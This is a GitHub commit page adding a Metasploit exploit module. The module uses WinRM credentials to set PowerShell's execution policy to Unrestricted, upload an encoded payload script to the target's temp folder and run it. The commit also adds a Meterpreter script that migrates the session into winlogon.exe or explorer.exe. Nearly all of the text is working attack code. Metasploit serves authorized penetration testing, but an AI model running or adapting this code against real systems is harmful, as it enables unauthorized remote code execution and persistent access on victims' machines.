Skip to content

Commit 86f6d59

Browse files
David MaloneyDavid Maloney
authored andcommitted
Adding the winrm powershell exploit
also adds the smart_migrate meterp script for autorun purposes
1 parent 86bf3d6 commit 86f6d59

File tree

2 files changed

+189
-0
lines changed

2 files changed

+189
-0
lines changed
Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
##
2+
# $Id$
3+
##
4+
5+
##
6+
# This file is part of the Metasploit Framework and may be subject to
7+
# redistribution and commercial restrictions. Please see the Metasploit
8+
# web site for more information on licensing and terms of use.
9+
# http://metasploit.com/
10+
##
11+
12+
13+
require 'msf/core'
14+
15+
16+
class Metasploit3 < Msf::Exploit::Remote
17+
Rank = ManualRanking
18+
19+
include Msf::Exploit::Remote::WinRM
20+
include Msf::Auxiliary::Report
21+
22+
def initialize(info = {})
23+
super(update_info(info,
24+
'Name' => 'WinRM Powershell Remote Code Execution',
25+
'Description' => %q{
26+
This module uses valid redentials to login to the WinRM service
27+
and execute a payload as a powershell script. It then attempts to
28+
automigrate before the WinRS shell dies.
29+
30+
It is important to use an x64 payload if your target system is x64.
31+
},
32+
'Author' => [ 'thelightcosine' ],
33+
'License' => MSF_LICENSE,
34+
'Version' => '$Revision$',
35+
'Privileged' => true,
36+
'DefaultOptions' =>
37+
{
38+
'WfsDelay' => 30,
39+
'EXITFUNC' => 'thread',
40+
'InitialAutoRunScript' => 'smart_migrate',
41+
},
42+
'Platform' => 'win',
43+
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
44+
'Targets' =>
45+
[
46+
[ 'Automatic', { } ],
47+
],
48+
'DefaultTarget' => 0,
49+
))
50+
51+
end
52+
53+
def check
54+
print_status "Attempting to set Execution Policy"
55+
unless accepts_ntlm_auth
56+
print_error "The Remote WinRM server does not appear to allow Negotiate(NTLM) auth"
57+
return Msf::Exploit::CheckCode::Safe
58+
end
59+
60+
streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
61+
if streams == 401
62+
print_error "Login failed!"
63+
return Msf::Exploit::CheckCode::Safe
64+
end
65+
streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
66+
if streams['stdout'].include? 'Unrestricted'
67+
return Msf::Exploit::CheckCode::Vulnerable
68+
else
69+
return Msf::Exploit::CheckCode::Safe
70+
end
71+
end
72+
73+
def exploit
74+
unless check[0] == "vulnerable"
75+
print_error "Unable to set Execution Policy"
76+
return
77+
end
78+
path = upload_script
79+
exec_script(path)
80+
handler
81+
end
82+
83+
def upload_script
84+
path = temp_dir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
85+
print_status "uploading powershell script to #{path} "
86+
87+
script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
88+
#add a sleep to the script to give us enoguh time to establish a session
89+
script << "\n Start-Sleep -s 600"
90+
script.each_line do |psline|
91+
#build our psh command to write out our psh script, meta eh?
92+
script_line = "Add-Content #{path} '#{psline.chomp}' "
93+
cmd = encoded_psh(script_line)
94+
streams = winrm_run_cmd(cmd)
95+
end
96+
return path
97+
end
98+
99+
def exec_script(path)
100+
print_status "Attempting to execute script..."
101+
cmd = "powershell -File #{path}"
102+
resp,c = send_request_ntlm(winrm_open_shell_msg)
103+
if resp.nil?
104+
print_error "Got no reply from target"
105+
return
106+
end
107+
unless resp.code == 200
108+
print_error "Got unexpected response from #{ip}: \n #{resp.to_s}"
109+
return
110+
end
111+
shell_id = winrm_get_shell_id(resp)
112+
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))
113+
cmd_id = winrm_get_cmd_id(resp)
114+
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))
115+
streams = winrm_get_cmd_streams(resp)
116+
end
117+
118+
def encoded_psh(script)
119+
script = script.chars.to_a.join("\x00").chomp
120+
script << "\x00" unless script[-1].eql? "\x00"
121+
if(defined?(script.encode))
122+
script = script.encode('ASCII-8BIT')
123+
script = Base64.strict_encode64(script)
124+
else
125+
script = Base64.encode64(script).chomp
126+
end
127+
cmd = "powershell -encodedCommand #{script}"
128+
end
129+
130+
def temp_dir
131+
print_status "Grabbing %TEMP%"
132+
resp,c = send_request_ntlm(winrm_open_shell_msg)
133+
unless resp.code == 200
134+
print_error "Got unexpected response: \n #{resp.to_s}"
135+
return
136+
end
137+
shell_id = winrm_get_shell_id(resp)
138+
cmd = "echo %TEMP%"
139+
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))
140+
cmd_id = winrm_get_cmd_id(resp)
141+
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))
142+
streams = winrm_get_cmd_streams(resp)
143+
return streams['stdout'].chomp
144+
end
145+
146+
end

scripts/meterpreter/smart_migrate.rb

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
# $Id$
2+
# $Revision$
3+
#
4+
5+
6+
def attempt_migration(target_pid)
7+
begin
8+
print_good("Migrating to #{target_pid}")
9+
client.core.migrate(target_pid)
10+
print_good("Successfully migrated to process #{}")
11+
return true
12+
rescue ::Exception => e
13+
print_error("Could not migrate in to process.")
14+
print_error(e)
15+
return false
16+
end
17+
end
18+
19+
if client.platform =~ /win32|win64/
20+
server = client.sys.process.open
21+
original_pid = server.pid
22+
print_status("Current server process: #{server.name} (#{server.pid})")
23+
24+
uid = client.sys.config.getuid
25+
26+
processes = client.sys.process.get_processes
27+
28+
uid_explorer_procs = []
29+
explorer_procs = []
30+
winlogon_procs = []
31+
processes.each do |proc|
32+
uid_explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] == uid
33+
explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] != uid
34+
winlogon_procs << proc if proc['name'] == "winlogon.exe"
35+
end
36+
37+
winlogon_procs.each { |proc| return if attempt_migration(proc['pid']) }
38+
uid_explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
39+
explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
40+
41+
print_error "Was unable to sucessfully migrate into any of our likely candidates"
42+
43+
end

0 commit comments

Comments
 (0)